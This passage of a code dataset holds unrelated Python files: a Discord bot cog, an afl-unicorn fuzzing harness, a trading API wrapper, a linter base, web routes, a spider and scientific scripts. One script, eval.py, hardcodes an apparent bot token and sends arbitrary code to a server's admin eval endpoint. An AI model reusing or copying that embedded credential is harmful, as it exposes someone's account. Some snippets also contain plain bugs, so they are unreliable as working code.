path is not absolute (i.e starts at root) then search in configs dir\n if not file.endswith('.json'):\n file += \".json\"\n\n if not file.startswith(\"/\"):\n file = os.path.join(os.path.dirname(__file__), 'configs', file)\n\n with open(file) as cfg_file:\n options: dict = json.load(cfg_file)\n self._add_cfg_dict(options)\n\n def _add_cfg_dict(self, options: Dict[str, any]):\n self._load_inner_configs(options)\n\n for option_name, option_value in options.items():\n if isinstance(option_value, dict): # If an option value is a dict, then check the dict for sub options\n self._add_cfg_dict(option_value)\n continue\n if option_name in self.__dict__: # Only add an option if it has exactly the same name as a variable\n self.__dict__[option_name] = option_value\n\n def _load_inner_configs(self, options: Dict[str, any]):\n inner_configs_key = 'configs'\n if inner_configs_key in options:\n inner_configs = options[inner_configs_key]\n if isinstance(inner_configs, list):\n for config in reversed(inner_configs):\n self.read(config)\n else:\n raise TypeError('Expected a list of other config options, received: ' + str(type(inner_configs)))\n","sub_path":"src2/configuration/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":7526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"213018433","text":"import discord\r\nfrom discord.ext import commands\r\nimport datetime\r\n\r\nclass Serverinfo(commands.Cog):\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n @commands.command(aliases=['svinfo', 'serverinfo'])\r\n @commands.guild_only()\r\n async def server(self, ctx):\r\n embed = discord.Embed(color=0x000000)\r\n embed.set_author(name=f'{ctx.guild.name}', icon_url=ctx.guild.icon_url)\r\n embed.set_thumbnail(url=ctx.guild.icon_url)\r\n embed.add_field(name='\\👑 Propriétario:', value=ctx.guild.owner.mention, inline=False)\r\n embed.add_field(name='\\ ID do Proprietário:', value=f'`{ctx.guild.owner.id}`', inline=False)\r\n embed.add_field(name='\\🆔 ID do Servidor:', value=f'`{ctx.guild.id}`', inline=False)\r\n embed.add_field(name='\\📶 Verificação do Servidor:', value=f'`{str(ctx.guild.verification_level)}`'.replace('none', \"Sem Verificação\"), inline=False)\r\n embed.add_field(name='Quantidade de Membros:', value=f'📋 total: {len(ctx.guild.members)}\\n'\r\n f'\\👥 Usuários: {len([a for a in ctx.guild.members if not a.bot])}\\n'\r\n f'\\🤖 Bots: {len([a for a in ctx.guild.members if a.bot])}', inline=False)\r\n embed.add_field(name='Quantidade de Canais:', value=f'📄 texto: {len(ctx.guild.text_channels)}\\n'\r\n f\"\\🔊 voz: {len(ctx.guild.voice_channels)}\", inline=False)\r\n embed.add_field(name='Quantidade de Cargos: ', value=f'Total: `{len(ctx.guild.roles) - 1}`')\r\n embed.add_field(name='\\😀 Quantidade de Emojis:', value=f'Total: `{len(ctx.guild.emojis)}`', inline=False)\r\n embed.add_field(name='\\📁 Quantidade de Categorias:', value=f' Total: `{len(ctx.guild.categories)}`', inline=False)\r\n embed.add_field(name='\\🌐 Região do Servidor:', value=f'**{ctx.guild.region}**', inline=False)\r\n embed.add_field(name='Servidor Criado Há:',\r\n value=f'`{str((ctx.guild.created_at - datetime.datetime.now()).days)}` dias atrás'.replace(\r\n '-', ''), inline=False)\r\n embed.add_field(name=\"Servidor Criado Em: \",\r\n value=\"`{}`\".format((ctx.guild.created_at.strftime('%d %B %Y'))).replace('January',\r\n 'de Janeiro de').replace(\r\n 'February', 'de Fevereiro de').replace('March', 'de Março de').replace('April',\r\n 'de Abril de').replace(\r\n 'May', 'de Maio de').replace('June', 'de Junho de').replace('July',\r\n 'de Julho de').replace(\r\n 'August', 'de Agosto de').replace('September', 'de Setembro de').replace(\r\n 'October', 'de Outubro de').replace('November', 'de Novembro de').replace(\r\n 'December', 'de Dezembro de'), inline=False)\r\n embed.set_footer(text=f\"Requisitado Por: {ctx.author.name}.\", icon_url=ctx.author.avatar_url)\r\n embed.timestamp = datetime.datetime.utcnow()\r\n await ctx.send(embed=embed)\r\n\r\ndef setup(client):\r\n client.add_cog(Serverinfo(client))\r\n","sub_path":"cogs/serverinfo.py","file_name":"serverinfo.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"181508441","text":"\"\"\"\n template_test_harness.py\n\n Template which loads the context of a process into a Unicorn Engine,\n instance, loads a custom (mutated) inputs, and executes the \n desired code. Designed to be used in conjunction with one of the\n Unicorn Context Dumper scripts.\n\n Author:\n Nathan Voss Modified by h0rac to support UI binaryninja plugin\n\"\"\"\n\nimport argparse\n\nfrom unicorn import *\nfrom unicorn.mips_const import * # TODO: Set correct architecture here as necessary\nfrom textwrap import wrap\nimport sys\nimport os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\nfrom core import unicorn_loader \nimport json\n\n# Simple stand-in heap to prevent OS/kernel issues\nunicorn_heap = None\n\n#------------------------\n#---- Main test function \n\ndef main():\n\n \n parser = argparse.ArgumentParser()\n parser.add_argument('json_data_file', type=str, help=\"JSON data from afl-unicorn binaryninja plugin\")\n parser.add_argument('context_dir', type=str, help=\"Directory containing process context\")\n parser.add_argument('input_file', type=str, help=\"Path to the file containing the mutated input content\")\n parser.add_argument('-d', '--debug', default=False, action=\"store_true\", help=\"Dump trace info\")\n args = parser.parse_args()\n\n print(\"Loading context from {}\".format(args.context_dir))\n uc = unicorn_loader.AflUnicornEngine(args.context_dir, enable_trace=args.debug, debug_print=False) \n\n if args.json_data_file:\n json_file = open(args.json_data_file, \"r\")\n data = json.loads(json_file.read())\n harness_data = {key.encode('utf-8'): value for key, value in data.items()}\n print(\"Loading JSON from {}\".format(args.json_data_file))\n \n def unicorn_hook_instruction(uc, address, size, user_data):\n print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size)) \n\n if address in harness_data['avoid_addresses']:\n pass\n #TODO implementation of how to avoid selected address is architecture dependend\n\n # Instantiate the hook function to avoid emulation errors\n global unicorn_heap\n unicorn_heap = unicorn_loader.UnicornSimpleHeap(uc, debug_print=True)\n uc.hook_add(UC_HOOK_CODE, unicorn_hook_instruction)\n\n # Execute 1 instruction just to startup the forkserver\n # NOTE: This instruction will be executed again later, so be sure that\n # there are no negative consequences to the overall execution state.\n # If there are, change the later call to emu_start to no re-execute \n # the first instruction.\n print(\"Starting the forkserver by executing 1 instruction\")\n try:\n uc.emu_start(harness_data['start'], 0, 0, count=1)\n except UcError as e:\n print(\"ERROR: Failed to execute a single instruction (error: {})!\".format(e))\n return\n\n # Allocate a buffer and load a mutated input and put it into the right spot\n if args.input_file:\n print(\"Loading input content from {}\".format(args.input_file))\n input_file = open(args.input_file, 'rb')\n input_content = input_file.read()\n input_file.close()\n\n #Here put any restriction to file size, type and so on\n \n \n # Allocate a new buffer and put the input into it\n buf_addr = unicorn_heap.malloc(len(input_content))\n uc.mem_write(buf_addr, input_data)\n print(\"Allocated mutated input buffer @ 0x{0:08x}\".format(buf_addr))\n\n # TODO: Set the input into the state so it will be handled\n # Here you can decide to which CPU register or memory data should be loaded\n \n # Run the test\n print(\"Executing from 0x{0:08x} to 0x{1:08x}\".format(harness_data['start'], harness_data['end']))\n\n try:\n uc.emu_start(harness_data['start'], harness_data['end'], timeout=0, count=0)\n except UcError as e:\n # If something went wrong during emulation a signal is raised to force this \n # script to crash in a way that AFL can detect ('uc.force_crash()' should be\n # called for any condition that you want AFL to treat as a crash).\n print(\"Execution failed with error: {}\".format(e))\n uc.dump_regs() \n uc.force_crash(e)\n\n print(\"Final register state:\") \n uc.dump_regs()\n\n print(\"Done.\") \n \nif __name__ == \"__main__\":\n main()\n","sub_path":"templates/template_harness.py","file_name":"template_harness.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319122401","text":"import os\nimport random\nimport sys\nimport threading\nimport time\nfrom ctypes import *\n\nimport numpy as np\n\nfrom config import *\n\nlock = threading.Lock()\n# def get_timingprice(*instrument_list):\n#\n# while(1):\n# price = api.getprice(c_char_p(bytes(instrument_list[0], 'utf-8')))\n# global closelist\n# closelist.append(price)\n\n# 启动行情服务\n\n\ndef start_hq(instrument_list, account_info):\n\n instrument_list_bytes = []\n\n for items in instrument_list:\n instrument_list_bytes.append(c_char_p(bytes(items, 'utf-8')))\n\n # 转成c++需要的数据格式\n instrument = (c_char_p * len(instrument_list))(*instrument_list_bytes)\n count = len(instrument_list)\n\n # 初始化行情接口\n api.init(c_char_p(bytes(account_info['ip_hq'], 'utf-8')), c_char_p(bytes(account_info['ip_trade'], 'utf-8')),\n c_char_p(bytes(account_info['broker_id'], 'utf-8')\n ), c_char_p(bytes(account_info['account'], 'utf-8')),\n c_char_p(bytes(account_info['pwd'], 'utf-8')), instrument, c_int(count))\n # 创建行情实例\n api.creathqapi()\n time.sleep(2)\n api.subscribemarketdata(instrument, count)\n time.sleep(2)\n # 获取价格\n api.getprice.restype = c_double # 设置python接受dll函数的返回类\n price = None\n price = api.getprice(c_char_p(bytes(instrument_list[0], 'utf-8')))\n print(price)\n if price:\n return True\n else:\n return False\n\n# 启动交易服务\n\n\ndef start_jy():\n\n # 创建交易实例\n api.creattradeapi()\n # 确认账户\n time.sleep(2)\n api.accountconfirm()\n time.sleep(2)\n resturntype = api.checkconfirm\n resturntype.restype = c_int\n trade = api.checkconfirm()\n if trade == 1:\n return True\n else:\n return False\n\n# 获取实时行情\n\n\ndef get_instrument_timingprice(instrument_list):\n\n while(1):\n for instrument in instrument_list:\n price = api.getprice(c_char_p(bytes(instrument, 'utf-8')))\n instrument_price[instrument] = price\n\n# 生成唯一的下单orderid\n\n\ndef get_orderid(index=10):\n\n global OrderId\n while(1):\n\n neworderid = str(int(round(time.time() * 1000))+1)[-index:]\n\n if neworderid == OrderId:\n neworderid = str(int(round(time.time() * 1000)))[-index:]\n else:\n OrderId = neworderid\n break\n\n return OrderId\n","sub_path":"QUANTAXIS_Trade/WindowsCTP/tradeapi.py","file_name":"tradeapi.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"362090762","text":"\"\"\"Common constants and class to all linters.\"\"\"\n\nimport re\nimport subprocess\n\nDEFAULT_MESSAGE_FORMAT = \"%(path)s:%(row)d:%(col)d: %(code)s %(text)s\"\n\n\nclass LinterMessage:\n \"\"\"Generic linter message.\"\"\"\n\n def __init__(\n self,\n tool=\"unknown\",\n message_id=\"unknown\",\n filename=\"unknown\",\n lineno=1,\n charno=1,\n message=\"unknown\",\n extramessage=\"\",\n ):\n \"\"\"Initializer.\"\"\"\n self.tool = tool\n self.message_id = message_id\n self.filename = filename\n self.lineno = lineno\n self.charno = charno\n self.message = message\n self.extramessage = extramessage\n\n def __repr__(self):\n \"\"\"Represent as a string.\"\"\"\n return self.formatted(DEFAULT_MESSAGE_FORMAT)\n\n def __lt__(self, other):\n \"\"\"Test less than.\"\"\"\n return (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n ) < (\n other.filename,\n other.lineno,\n other.charno,\n other.tool,\n other.message_id,\n other.message,\n other.message_id,\n )\n\n def __eq__(self, other):\n \"\"\"Test equality.\"\"\"\n return (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n ) == (\n other.filename,\n other.lineno,\n other.charno,\n other.tool,\n other.message_id,\n other.message,\n other.message_id,\n )\n\n def __hash__(self):\n \"\"\"Compute hash.\"\"\"\n return hash(\n (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n )\n )\n\n def formatted(self, format):\n \"\"\"Format the message according to format parameter.\"\"\"\n data = {\n \"path\": self.filename,\n \"row\": self.lineno,\n \"col\": self.charno,\n # horrible hack for visual studio code\n \"code\": f\"W{self.message_id[1:]}\",\n \"text\": f\"[{self.tool}] {self.message}\",\n }\n if self.extramessage:\n data[\"text\"] += f\" ({self.extramessage})\"\n\n return format % data\n\n\nclass LinterNotFound(FileNotFoundError):\n \"\"\"\n Exception to detect that a linter is not found.\n\n Note that this doesn't occur, except due to an installation error.\n \"\"\"\n\n pass\n\n\nclass Linter:\n \"\"\"Base linter class.\"\"\"\n\n name = \"Linter\"\n path = \"/bin/unknownlinter\"\n\n @classmethod\n def lint(cls, file):\n \"\"\"Execute the linter and return the list of messages.\"\"\"\n try:\n return cls._lint(file)\n except LinterNotFound:\n return [\n LinterMessage(\n tool=\"whatalinter\",\n message_id=f\"E999\",\n filename=str(file),\n lineno=1,\n charno=1,\n message=f\"linter not found: {cls.path}\",\n extramessage=\"\",\n )\n ]\n\n @classmethod\n def _lint(cls, file):\n args = [cls.path, str(file)]\n result = cls._execute_command(args)\n return cls._parse_output(result.stdout)\n\n @classmethod\n def _execute_command(cls, args):\n \"\"\"Execute the linter or raise LinterNotFound.\"\"\"\n try:\n return subprocess.run(\n args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=10,\n encoding=\"utf-8\",\n )\n except FileNotFoundError as e:\n if e.filename == cls.path:\n raise LinterNotFound\n else:\n raise\n\n @classmethod\n def _parse_line(cls, line, regex, message=None, **kwargs):\n m = re.match(regex, line)\n if m:\n if not message:\n message = LinterMessage()\n kwargs.update(m.groupdict())\n if \"lineno\" in kwargs:\n kwargs[\"lineno\"] = int(kwargs[\"lineno\"])\n if \"charno\" in kwargs:\n kwargs[\"charno\"] = int(kwargs[\"charno\"])\n for param, value in kwargs.items():\n setattr(message, param, value)\n else:\n print(\"ERROR parsing\", line)\n return message\n\n @classmethod\n def _parse_output(cls, output):\n messages = []\n regex_index = 0\n for line in output.splitlines():\n if regex_index == 0:\n message = cls._parse_line(\n line, cls.regex[regex_index], None, tool=cls.name\n )\n else:\n message = cls._parse_line(\n line, cls.regex[regex_index], message\n )\n\n if regex_index == len(cls.regex) - 1:\n regex_index = 0\n messages.append(message)\n else:\n regex_index += 1\n return messages\n","sub_path":"python_dev_tools/linters/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"315061723","text":"import logging\r\nimport os\r\nimport sys\r\nfrom pathlib import Path\r\n\r\nlog: logging.Logger\r\n\r\n\r\ndef debug(message):\r\n global log\r\n log.debug(message)\r\n\r\n\r\ndef info(message):\r\n global log\r\n log.info(message)\r\n\r\n\r\ndef error(message):\r\n global log\r\n log.error(message)\r\n\r\n\r\ndef start_test(test_name):\r\n global log\r\n print(\"\")\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n log.info(\"Test: \" + test_name)\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n\r\n\r\ndef end_test(status):\r\n global log\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n log.info(status)\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n print(\"\")\r\n\r\n\r\ndef get_logger():\r\n log_path = Path(\"resources/logs/appLog.log\")\r\n\r\n os.makedirs(os.path.dirname(\"./resources/logs/appLog.log\"), exist_ok=True)\r\n\r\n logger = logging.getLogger(\"LOG\")\r\n\r\n formatter = logging.Formatter(\"%(asctime)s %(levelname)5s [%(name)s] - %(message)s\")\r\n\r\n stream_handler = logging.StreamHandler(sys.stdout)\r\n file_handler = logging.FileHandler(log_path, mode='w', delay=False)\r\n\r\n file_handler.setFormatter(formatter)\r\n stream_handler.setFormatter(formatter)\r\n\r\n logger.addHandler(file_handler)\r\n logger.addHandler(stream_handler)\r\n\r\n logger.setLevel(logging.INFO)\r\n\r\n return logger\r\n","sub_path":"utilities/log_manager.py","file_name":"log_manager.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"198225045","text":"#!/usr/bin/env python3.6\n\"\"\"\neval.py - Evaluate code in a litecord server.\n\"\"\"\nimport requests\nimport json\nimport readline\n\nAPI_BASE = 'https://litecord.adryd.com'\nTOKEN = \"MTYyODE5ODY2NjgyODUxMzI5.DLGjVA.pUwhsXRwDxROe5535dPXSsS8e9o\"\n\nHEADERS = {\n 'Authorization': f'Bot {TOKEN}',\n}\n\ndef main():\n print(\"Litecord's admin eval\")\n while True:\n code = input('>')\n payload = {\n 'to_eval': code,\n }\n\n r = requests.post(f'{API_BASE}/api/admin_eval', headers=HEADERS, \\\n data=json.dumps(payload))\n\n result = r.json()\n if r.status_code in [500, 401]:\n print(f'fuck? {result!r}')\n continue\n\n if result['error']:\n print(f\"ERR {result['stdout']}\")\n else:\n print(f\"res: {result['stdout']}\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"utils/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"208099892","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^newlogin/',views.newlogin,name='newlogin'),\n url(r'^about/',views.about,name='about'),\n url(r'^signup/',views.signup,name='signup'),\n url(r'^login/',views.login,name='login'),\n url(r'^input/',views.get_name,name='get_name'),\n url(r'^doctors/',views.people,name='people'),\n url(r'^tests/',views.tests,name='tests'),\n url(r'^',views.blog,name='blog'),\n]\n","sub_path":"prime/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"196685173","text":"#!/usr/bin/env python\n__author__ = \"chris\"\nimport argparse\nimport sys\n\n# This script just exists to force a checksum difference from translate.py\n\nBASE_PAIR_COMPLEMENTS = {\n \"a\": \"t\",\n \"t\": \"a\",\n \"c\": \"g\",\n \"g\": \"c\",\n \"A\": \"T\",\n \"T\": \"A\",\n \"C\": \"G\",\n \"G\": \"C\",\n \"n\": \"n\",\n \"N\": \"N\",\n}\n\nCODON_TABLE = {\n \"AAA\": \"K\",\n \"AAC\": \"N\",\n \"AAG\": \"K\",\n \"AAT\": \"N\",\n \"ACA\": \"T\",\n \"ACC\": \"T\",\n \"ACG\": \"T\",\n \"ACT\": \"T\",\n \"AGA\": \"R\",\n \"AGC\": \"S\",\n \"AGG\": \"R\",\n \"AGT\": \"S\",\n \"ATA\": \"I\",\n \"ATC\": \"I\",\n \"ATG\": \"M\",\n \"ATT\": \"I\",\n \"CAA\": \"Q\",\n \"CAC\": \"H\",\n \"CAG\": \"Q\",\n \"CAT\": \"H\",\n \"CCA\": \"P\",\n \"CCC\": \"P\",\n \"CCG\": \"P\",\n \"CCT\": \"P\",\n \"CGA\": \"R\",\n \"CGC\": \"R\",\n \"CGG\": \"R\",\n \"CGT\": \"R\",\n \"CTA\": \"L\",\n \"CTC\": \"L\",\n \"CTG\": \"L\",\n \"CTT\": \"L\",\n \"GAA\": \"E\",\n \"GAC\": \"D\",\n \"GAG\": \"E\",\n \"GAT\": \"D\",\n \"GCA\": \"A\",\n \"GCC\": \"A\",\n \"GCG\": \"A\",\n \"GCT\": \"A\",\n \"GGA\": \"G\",\n \"GGC\": \"G\",\n \"GGG\": \"G\",\n \"GGT\": \"G\",\n \"GTA\": \"V\",\n \"GTC\": \"V\",\n \"GTG\": \"V\",\n \"GTT\": \"V\",\n \"TAA\": \"*\",\n \"TAC\": \"Y\",\n \"TAG\": \"*\",\n \"TAT\": \"Y\",\n \"TCA\": \"S\",\n \"TCC\": \"S\",\n \"TCG\": \"S\",\n \"TCT\": \"S\",\n \"TGA\": \"*\",\n \"TGC\": \"C\",\n \"TGG\": \"W\",\n \"TGT\": \"C\",\n \"TTA\": \"L\",\n \"TTC\": \"F\",\n \"TTG\": \"L\",\n \"TTT\": \"F\",\n \"NNN\": \"X\",\n}\n\nfor i in \"ACTG\":\n for j in \"ACTG\":\n CODON_TABLE[\"%s%sN\" % (i, j)] = \"X\"\n CODON_TABLE[\"%sN%s\" % (i, j)] = \"X\"\n CODON_TABLE[\"N%s%s\" % (i, j)] = \"X\"\n CODON_TABLE[\"%sNN\" % i] = \"X\"\n CODON_TABLE[\"N%sN\" % i] = \"X\"\n CODON_TABLE[\"NN%s\" % i] = \"X\"\n\nparser = argparse.ArgumentParser(\n description=\"This will translate a given DNA sequence to protein.\"\n)\ngroup = parser.add_mutually_exclusive_group(required=True)\ngroup.add_argument(\"--sequence\", help=\"The sequence to translate.\", type=str)\ngroup.add_argument(\n \"--fasta\", help=\"The fasta file to translate.\", type=argparse.FileType(\"rb\")\n)\nsimple_group = parser.add_argument_group(\"Parameter Group\")\nsimple_group.add_argument(\n \"--frame\",\n help=\"The frame to translate in.\",\n type=str,\n choices=[\"+1\", \"+2\", \"+3\", \"-1\", \"-2\", \"-3\"],\n default=\"+1\",\n)\nsimple_group.add_argument(\n \"--out\", help=\"The file to save translations to.\", type=argparse.FileType(\"wb\")\n)\n\n\ndef main():\n args = parser.parse_args()\n seq = args.sequence\n fasta = args.fasta\n\n def translate(seq=None, frame=None):\n if frame.startswith(\"-\"):\n seq = \"\".join([BASE_PAIR_COMPLEMENTS.get(i, \"N\") for i in seq])\n frame = int(frame[1]) - 1\n return \"\".join(\n [\n CODON_TABLE.get(seq[i : i + 3], \"X\")\n for i in range(frame, len(seq), 3)\n if i + 3 <= len(seq)\n ]\n )\n\n frame = args.frame\n with args.out as fasta_out:\n if fasta:\n with args.fasta as fasta_in:\n header = \"\"\n seq = \"\"\n for row in fasta_in:\n if row[0] == \">\":\n if seq:\n fasta_out.write(\n \"{}\\n{}\\n\".format(header, translate(seq, frame))\n )\n header = row\n seq = \"\"\n else:\n seq += row.strip()\n if seq:\n fasta_out.write(\"{}\\n{}\\n\".format(header, translate(seq, frame)))\n else:\n fasta_out.write(\"{}\\n{}\\n\".format(\">1\", translate(seq.upper(), frame)))\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"wooey/tests/scripts/translate2.py","file_name":"translate2.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"456473848","text":"# In place \ndef sort_nums(nums):\n red = 0\n white = 0\n blue = 0\n\n for color in nums:\n if color == 0:\n nums[red] = 0\n red += 1\n elif color == 1:\n white += 1\n else:\n blue += 1\n\n for j in range(red, len(nums)-white-1):\n nums[j] = 1\n\n for k in range(len(nums) - white, len(nums)):\n nums[k] = 2\n\n\n\n\n\nprint(sort_nums([2,0,2,1,1,0]))\n\n\n\n","sub_path":"sort_colors.py","file_name":"sort_colors.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"294557428","text":"#!/usr/bin/env python3\n\nimport os\nimport glob\nacceptable_file_type = ['png', 'jpg']\n\n\nprint(\"current working : \", os.getcwd())\n\nos.chdir( input('path to image dir : ' ) )\nprint(\"current working : \" , os.getcwd())\n\nimages=[] \nfor file_type in acceptable_file_type:\n images.extend(glob.glob(\"*.\"+file_type))\n\nfor image_number in range(0, len(images)):\n print(image_number, images[image_number])\n\nimage_number = int(input('select_images'))\n\nprint(\"IMAGE LOCATION: \", os.getcwd() + '/' + images[image_number] ) \n","sub_path":"gui_application/src/archive/image_select.py","file_name":"image_select.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"434298331","text":"from flask import render_template\n\nfrom . import main\nfrom . import redis_client\n\ncounter = redis_client.get(\"count\")\n\nif counter is None:\n counter = 0\nelse:\n counter = int(counter)\n\n\n@main.route(\"/\")\ndef index():\n \"\"\"\n 主页\n :return:\n \"\"\"\n global counter\n counter = counter + 1\n redis_client.set(\"count\", counter)\n return render_template('main/index.html',\n count=counter,\n )\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"136084502","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom tencent.items import TencentItem\n\n\nclass HrSpider(scrapy.Spider):\n name = 'hr'\n allowed_domains = ['tencent.com']\n start_urls = ['https://hr.tencent.com/position.php']\n\n def parse(self, response):\n # tr_list = response.xpath(\"//tr[@class='odd'] | //tr[@class='even']\")\n # tr_list = response.xpath(\"//*[contains(@class,'odd') or contains(@class, 'even')]\")\n tr_list = response.xpath(\"//table[@class='tablelist']/tr\")[1: -1]\n for tr in tr_list:\n item = TencentItem()\n item[\"title\"] = tr.xpath(\"./td[1]/a/text()\").extract_first()\n item[\"position\"] = tr.xpath(\"./td[2]/text()\").extract_first()\n item[\"location\"] = tr.xpath(\"./td[4]/text()\").extract_first()\n item[\"publish_date\"] = tr.xpath(\"./td[5]/text()\").extract_first()\n \n yield item\n\n next_url = response.xpath(\"//a[text()='下一页']/@href\").extract_first()\n if next_url != \"javascript:;\":\n next_url = \"https://hr.tencent.com/\" + next_url\n yield scrapy.Request(\n next_url,\n callback=self.parse,\n )\n","sub_path":"tencent/tencent/spiders/hr.py","file_name":"hr.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"402127380","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import ndimage\nfrom scipy import misc\ndef siyah_beyaz(img1, threshold = 100):\n img2 = np.zeros((img1.shape[0], img1.shape[1]))\n for i in range(img2.shape[0]):\n for j in range(img2.shape[1]):\n if(sum(img1[i,j,:])/3 > threshold):\n img2[i,j] = 1\n else:\n img2[i,j] = 0\n return img2\ndef RGB_Gray(img1):\n img2 = np.zeros((img1.shape[0], img1.shape[1]))\n for i in range(img2.shape[0]):\n for j in range(img2.shape[1]):\n img2[i,j] = sum(img1[i,j,:])/3\n return img2\nimg = plt.imread(\"kuslar.jpg\")\nblack_white = siyah_beyaz(img,75)\ngray = RGB_Gray(img)\n\nplt.subplot(1,3,1), plt.imshow(img)\nplt.subplot(1,3,2), plt.imshow(gray, cmap='Greys')\nplt.subplot(1,3,3), plt.imshow(black_white, cmap='Greys')\n\nplt.show()\n","sub_path":"rgb_bw_gray.py","file_name":"rgb_bw_gray.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"255643367","text":"from sklearn.cross_decomposition import CCA\nimport scipy.io as sio\nimport scipy.signal as spsignal\nfrom lib import utils\nimport numpy as np\n\nfrom lib.utils import ITR\n\nimport os\n\n\n# ================== data information ==============\ntarget_file = os.path.join('data', 'Freq_Phase.mat')\ntarget_data = sio.loadmat(target_file)\nfreqs = target_data['freqs'].ravel()\n\ndata_file = os.path.join('data', 'S{}.mat')\nnb_subjects = 35\nchannels = ['PZ', 'PO5', 'PO3', 'POz', 'PO4', 'PO6', 'O1', 'OZ', 'O2']\nchannel_indices = np.array([48, 54, 55, 56, 57, 58, 61, 62, 63])-1\n\nfs = 250 # Hz\ntime_gaze_s = 1.25 # s\ntime_delay_s = 0.13 # s\ntime_cue_s = 0.5 # s\ntime_all_s = time_gaze_s + time_delay_s\n\ngaze_length = round(time_gaze_s * fs)\ndelay_length = round(time_delay_s * fs)\ncue_length = round(time_cue_s * fs)\ncue_length = round(time_cue_s * fs)\n\n# ================== cca_reference ===================\nnb_harms = 5\nfb_a, fb_b = 1.25, 0.25 # for FBCCA\ntx = np.arange(1, gaze_length+1, 1) / fs\ny_ref = []\nfor freq in freqs:\n temp_ref = []\n for harm_i in range(nb_harms):\n temp_ref.append(np.sin(2*np.pi*tx*(harm_i+1)*freq))\n temp_ref.append(np.cos(2*np.pi*tx*(harm_i+1)*freq))\n y_ref.append(np.array(temp_ref))\ny_ref = np.array(y_ref)\n\n# ================== filtering and FBCCA ====================\nfilter_low_cutoff = 7. # Hz\nfilter_high_cutoff = 90. # Hz\nb, a = spsignal.butter(4, [filter_low_cutoff/(fs/2.), filter_high_cutoff/(fs/2.)], 'bandpass')\ncca = CCA(n_components=1, scale=False)\n\naccs = []\nitrs = []\nselected_subjects = [3, 4, 12, 22, 25, 26, 32, 34]\nfor s in selected_subjects:\n print('subject: {}'.format(s))\n data_path = data_file.format(s)\n data = sio.loadmat(data_path)['data']\n data = np.transpose(data, axes=[3, 2, 0, 1])\n subject_accs = []\n subject_itrs = []\n for block_id in range(len(data)):\n eeg = data[block_id][:, channel_indices, cue_length+delay_length:cue_length+delay_length+gaze_length]\n eeg = spsignal.filtfilt(b, a, eeg, axis=-1)\n nb_correct = 0.\n for label, eeg_epoch in enumerate(eeg):\n rho_list = []\n eeg_epoch = eeg_epoch.T\n for ref in y_ref:\n ref = ref.T\n rho = 0\n for band_id in range(10):\n band_eeg_epoch = utils.filterband(eeg_epoch, band_id, fs, axis=0)\n x_, y_ = cca.fit_transform(band_eeg_epoch, ref)\n band_rho = np.abs(np.matmul(x_.T, y_)/np.linalg.norm(x_, ord=2)/np.linalg.norm(y_, ord=2))\n w = (band_id+1.)**(-fb_a)+fb_b\n rho += w*band_rho**2\n rho_list.append(rho)\n if np.argmax(rho_list) == label:\n nb_correct += 1.\n\n acc = nb_correct / len(eeg)\n itr = ITR(len(freqs), acc, time_all_s)\n print('block:{}, acc:{}, itr:{}'.format(block_id, acc, itr))\n subject_accs.append(acc)\n subject_itrs.append(itr)\n accs.append(subject_accs)\n itrs.append(subject_itrs)\nnp.savez('results/fb_clean_eval.npz', acc=np.array(accs), itr=np.array(itrs))\n\n","sub_path":"SSVEP_Speller/EvalFBCCA.py","file_name":"EvalFBCCA.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"191127837","text":"from conans import ConanFile, 